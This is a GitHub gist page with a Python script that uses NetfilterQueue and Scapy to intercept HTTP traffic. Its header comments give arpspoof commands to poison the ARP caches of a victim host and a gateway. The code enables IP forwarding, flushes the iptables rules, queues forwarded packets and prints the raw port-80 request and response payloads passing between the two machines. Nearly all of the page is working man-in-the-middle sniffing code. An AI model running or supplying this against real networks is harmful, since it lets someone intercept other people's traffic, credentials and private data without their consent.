Skip to content

Instantly share code, notes, and snippets.

@cyberax64
Forked from reuniware/netfiltertest01.py
Created March 11, 2022 22:14
Show Gist options
  • Save cyberax64/f15472536a38cc4210268b26a1086225 to your computer and use it in GitHub Desktop.
Save cyberax64/f15472536a38cc4210268b26a1086225 to your computer and use it in GitHub Desktop.
Python + Netfilterqueue + Scapy (trying to intercept HTTP traffic from Kali Linux)
# apt-get install build-essential python-dev libnetfilter-queue-dev
# pip install NetfilterQueue
# sudo apt-get install python-netfilterqueue
# iptables -F
# iptables -F -t nat
# iptables -I FORWARD -j NFQUEUE --queue-num 0
# arpspoof -i eth0 192.168.1.200 -t 192.168.1.1
# arpspoof -i eth0 192.168.1.1 -t 192.168.1.200
from netfilterqueue import NetfilterQueue
import scapy.all as scapy
import re
import os
from scapy.layers.inet import IP, TCP
os.system("echo '1' > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -F")
os.system("iptables -F -t nat")
os.system("iptables -A FORWARD -j NFQUEUE --queue-num 0")
ip_src = ""
ip_dst = ""
def print_and_accept(packet):
global ip_src, ip_dst, dst_port, src_port
http_packet = scapy.IP(packet.get_payload())
if http_packet.haslayer(scapy.Raw) and http_packet.haslayer(TCP):
if IP in http_packet:
ip_src = http_packet[IP].src
ip_dst = http_packet[IP].dst
# print(ip_src + " -> " + ip_dst)
if http_packet[TCP].dport == 80:
print(ip_src + " -> " + ip_dst + " ** client to server **")
load = http_packet[scapy.Raw].load
print(load)
load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
if http_packet[TCP].sport == 80:
print(ip_src + " -> " + ip_dst + " ** server to client **")
load = http_packet[scapy.Raw].load
print(load)
load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
packet.accept()
nf_queue = NetfilterQueue()
nf_queue.bind(0, print_and_accept)
try:
nf_queue.run()
except KeyboardInterrupt:
os.system("iptables -F")
os.system("iptables -F -t nat")
print("Gettin' out")
nf_queue.unbind()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment